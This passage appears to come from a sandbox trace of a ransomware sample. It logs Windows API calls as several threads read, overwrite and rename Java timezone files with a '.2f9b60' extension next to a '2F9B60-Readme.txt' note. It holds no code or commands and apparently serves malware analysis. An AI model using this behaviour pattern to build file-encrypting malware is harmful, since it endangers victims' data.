RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd97300 [0184.379] RtlFreeAnsiString (AnsiString="6") [0184.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19080) returned 1 [0184.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d780) returned 1 [0184.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18fc0) returned 1 [0184.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a8e80) returned 1 [0184.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd95c0) returned 1 [0184.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9590) returned 1 [0184.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9680) returned 1 [0184.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd96b0) returned 1 [0184.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18f90) returned 1 [0184.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18cc0) returned 1 [0184.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18cf0) returned 1 [0184.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x42c23290 [0184.383] wcscat (in: _Dest=0x42c23290, _Source="6e35c8af" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\6e35c8af") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\6e35c8af" [0184.383] wcscat (in: _Dest=0x42c23290, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\6e35c8af.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\6e35c8af.2f9b60" [0184.383] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\6e35c8af.2f9b60", NtPathName=0x3581fd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\6e35c8af.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0184.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050c190 [0237.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c190) returned 1 [0237.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c113b0) returned 1 [0237.751] NtQueryInformationFile (in: FileHandle=0x2c20, IoStatusBlock=0x3581fd78, FileInformation=0x3581fd88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3581fd78, FileInformation=0x3581fd88) returned 0x0 [0237.751] NtSetInformationFile (FileHandle=0x2c20, IoStatusBlock=0x3581fd78, FileInformation=0x3581fd88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c23290) returned 1 [0240.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0240.290] FlushFileBuffers (hFile=0x2c20) returned 1 [0240.639] CloseHandle (hObject=0x2c20) returned 1 [0242.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431069f0 [0242.709] wcscpy (in: _Dest=0x431069f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0242.709] wcscat (in: _Dest=0x431069f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0242.709] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431069f0) returned 1 [0243.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebf400) returned 1 Thread: id = 2822 os_tid = 0x1a00 [0159.925] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Harare" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\harare")) returned 0x20 [0165.811] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Harare", dwFileAttributes=0x20) returned 1 [0166.401] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Harare" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\harare"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2bf8 [0167.778] GetFileSizeEx (in: hFile=0x2bf8, lpFileSize=0x348dfcc0 | out: lpFileSize=0x348dfcc0*=65) returned 1 [0167.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18240 [0167.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c185a0 [0167.779] NtQuerySystemTime (in: CurrentTime=0x348dfb80 | out: CurrentTime=0x348dfb80*=132462177729022000) returned 0x0 [0167.779] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x52ed9260 [0167.779] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x3f771a70 [0167.779] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x5c7f97bd [0167.779] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x3047968b [0167.779] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x1a6e9ec1 [0167.779] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x58f3f85c [0167.780] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x69189790 [0167.780] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x7bf42d7c [0167.780] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x4e9d330e [0167.780] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x650c6b5a [0167.780] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x4d758d62 [0167.780] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0xdf7d05f [0167.780] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x771f3546 [0167.780] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x5f5d7c66 [0167.780] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x2fe21834 [0167.780] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x2d53711c [0167.780] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x757768fc [0167.780] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x68fa8c98 [0167.780] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x15eb24d2 [0167.780] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x4acdc0fa [0167.780] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x7496191f [0167.780] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x61099625 [0167.780] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x325e567f [0167.780] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x49a16df6 [0167.780] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x5c6026f9 [0167.780] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x52a6446d [0167.780] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x362747ff [0167.780] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0xb7d63c2 [0167.780] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x44a19435 [0167.780] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x74ad464d [0167.780] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x433a679b [0167.780] RtlRandomEx (in: Seed=0x348dfb70 | out: Seed=0x348dfb70) returned 0x673b4395 [0167.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18ae0 [0167.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0167.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18b10 [0167.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0167.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c185a0) returned 1 [0167.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5ba20 [0167.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0167.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424db5c0 [0167.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424df1d0 [0167.790] ReadFile (in: hFile=0x2bf8, lpBuffer=0x424db5c0, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x348dfb70, lpOverlapped=0x0 | out: lpBuffer=0x424db5c0*, lpNumberOfBytesRead=0x348dfb70*=0x41, lpOverlapped=0x0) returned 1 [0167.791] SetFilePointerEx (in: hFile=0x2bf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.791] WriteFile (in: hFile=0x2bf8, lpBuffer=0x424df1d0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x348dfb74, lpOverlapped=0x0 | out: lpBuffer=0x424df1d0*, lpNumberOfBytesWritten=0x348dfb74*=0x41, lpOverlapped=0x0) returned 1 [0184.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052440 [0184.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420536d0 [0184.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420536d0) returned 1 [0184.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424df1d0) returned 1 [0184.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424db5c0) returned 1 [0184.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0184.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ba20) returned 1 [0184.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x420536d0 [0184.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5ba20 [0184.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0184.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420537c0 [0184.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420537c0) returned 1 [0184.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x420537c0 [0184.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420521a0 [0184.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7370 [0184.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7370) returned 1 [0184.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0184.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ba20) returned 1 [0184.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfe) returned 0x420550b0 [0184.555] SetFilePointerEx (in: hFile=0x2bf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0184.555] WriteFile (in: hFile=0x2bf8, lpBuffer=0x420550b0*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x348dfc90, lpOverlapped=0x0 | out: lpBuffer=0x420550b0*, lpNumberOfBytesWritten=0x348dfc90*=0xfe, lpOverlapped=0x0) returned 1 [0192.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420587e0 [0192.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8684c0 [0192.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a120 [0192.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a120) returned 1 [0192.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x431f97e0 [0192.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a120 [0192.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a150 [0192.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0192.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8684c0) returned 1 [0192.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420587e0) returned 1 [0192.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19) returned 0x4313a150 [0192.887] sprintf (in: _Dest=0x4313a150, _Format="%c%c" | out: _Dest="3b") returned 2 [0192.887] sprintf (in: _Dest=0x4313a152, _Format="%c%c" | out: _Dest="75") returned 2 [0192.887] sprintf (in: _Dest=0x4313a154, _Format="%c%c" | out: _Dest="e1") returned 2 [0192.887] sprintf (in: _Dest=0x4313a156, _Format="%c%c" | out: _Dest="a6") returned 2 [0192.888] sprintf (in: _Dest=0x4313a158, _Format="%c%c" | out: _Dest="fe") returned 2 [0192.888] sprintf (in: _Dest=0x4313a15a, _Format="%c%c" | out: _Dest="25") returned 2 [0192.888] sprintf (in: _Dest=0x4313a15c, _Format="%c%c" | out: _Dest="64") returned 2 [0192.888] sprintf (in: _Dest=0x4313a15e, _Format="%c%c" | out: _Dest="41") returned 2 [0192.888] sprintf (in: _Dest=0x4313a160, _Format="%c%c" | out: _Dest="09") returned 2 [0192.888] sprintf (in: _Dest=0x4313a162, _Format="%c%c" | out: _Dest="f9") returned 2 [0192.888] sprintf (in: _Dest=0x4313a164, _Format="%c%c" | out: _Dest="d7") returned 2 [0192.888] sprintf (in: _Dest=0x4313a166, _Format="%c%c" | out: _Dest="b8") returned 2 [0192.888] RtlInitAnsiString (in: DestinationString=0x348dfd08, SourceString="3b75e1a6fe25644109f9d7b8" | out: DestinationString="3b75e1a6fe25644109f9d7b8") [0192.888] RtlAnsiStringToUnicodeString (in: DestinationString=0x348dfcd8, SourceString="3b75e1a6fe25644109f9d7b8", AllocateDestinationString=1 | out: DestinationString="3b75e1a6fe25644109f9d7b8") returned 0x0 [0192.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1ce5d8f0 [0192.889] RtlFreeAnsiString (AnsiString="3") [0192.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0192.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0192.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a120) returned 1 [0192.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420550b0) returned 1 [0192.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420537c0) returned 1 [0192.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420521a0) returned 1 [0192.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420536d0) returned 1 [0192.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052440) returned 1 [0192.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18240) returned 1 [0192.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18ae0) returned 1 [0192.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18b10) returned 1 [0192.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x431d8ba0 [0192.893] wcscat (in: _Dest=0x431d8ba0, _Source="3b75e1" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\3b75e1") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\3b75e1" [0192.893] wcscat (in: _Dest=0x431d8ba0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\3b75e1.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\3b75e1.2f9b60" [0192.893] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\3b75e1.2f9b60", NtPathName=0x348dfcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\3b75e1.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0192.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x431e2ae0 Thread: id = 2823 os_tid = 0x1a04 [0159.926] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Johannesburg" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\johannesburg")) returned 0x20 [0165.807] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Johannesburg", dwFileAttributes=0x20) returned 1 [0166.476] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Johannesburg" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\johannesburg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2bd4 [0167.673] GetFileSizeEx (in: hFile=0x2bd4, lpFileSize=0x36c8fc20 | out: lpFileSize=0x36c8fc20*=105) returned 1 [0167.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0d70 [0167.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0bc0 [0167.674] NtQuerySystemTime (in: CurrentTime=0x36c8fae0 | out: CurrentTime=0x36c8fae0*=132462177727930000) returned 0x0 [0167.674] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x5c7e807e [0167.674] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x4356c50b [0167.674] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x66220bcb [0167.674] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x7604b442 [0167.674] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x606c56df [0167.674] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x5d51d1b9 [0167.674] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x431dcff0 [0167.674] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0xfeaa2c5 [0167.674] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x7b620545 [0167.674] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x10e315f8 [0167.674] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x27018d95 [0167.674] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x12c696b8 [0167.674] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x3e1605d [0167.674] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x6393925 [0167.674] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x2b3de036 [0167.674] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x3054bbf0 [0167.674] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x4320078b [0167.674] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x12acba73 [0167.674] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x1dc0eb63 [0167.674] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x47e760da [0167.674] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x1a58494a [0167.674] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x671271c6 [0167.675] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x152f18d0 [0167.675] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x25cad88c [0167.675] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x2ef7962e [0167.675] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x64d5237a [0167.675] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x7aa67c0 [0167.675] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x50087451 [0167.675] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0xebc4878 [0167.675] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x229bfdb7 [0167.675] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x64a9517e [0167.675] RtlRandomEx (in: Seed=0x36c8fad0 | out: Seed=0x36c8fad0) returned 0x475ef039 [0167.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0b90 [0167.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d490 [0167.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0ad0 [0167.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d490) returned 1 [0167.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0bc0) returned 1 [0167.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0167.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d490 [0167.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42022d00 [0167.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42039560 [0167.686] ReadFile (in: hFile=0x2bd4, lpBuffer=0x42022d00, nNumberOfBytesToRead=0x69, lpNumberOfBytesRead=0x36c8fad0, lpOverlapped=0x0 | out: lpBuffer=0x42022d00*, lpNumberOfBytesRead=0x36c8fad0*=0x69, lpOverlapped=0x0) returned 1 [0167.687] SetFilePointerEx (in: hFile=0x2bd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.687] WriteFile (in: hFile=0x2bd4, lpBuffer=0x42039560*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x36c8fad4, lpOverlapped=0x0 | out: lpBuffer=0x42039560*, lpNumberOfBytesWritten=0x36c8fad4*=0x69, lpOverlapped=0x0) returned 1 [0184.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec6f50 [0184.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec6f80 [0184.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6f80) returned 1 [0184.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42039560) returned 1 [0184.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42022d00) returned 1 [0184.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d490) returned 1 [0184.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0184.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec6f80 [0184.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0184.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d490 [0184.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec6fb0 [0184.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6fb0) returned 1 [0184.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec6fb0 [0184.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec6fe0 [0184.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7010 [0184.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7010) returned 1 [0184.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d490) returned 1 [0184.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0184.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423aabf0 [0184.216] SetFilePointerEx (in: hFile=0x2bd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0184.216] WriteFile (in: hFile=0x2bd4, lpBuffer=0x423aabf0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x36c8fbf0, lpOverlapped=0x0 | out: lpBuffer=0x423aabf0*, lpNumberOfBytesWritten=0x36c8fbf0*=0x10a, lpOverlapped=0x0) returned 1 [0187.878] RtlAllocateHeap (HeapHandle=0xa0000, 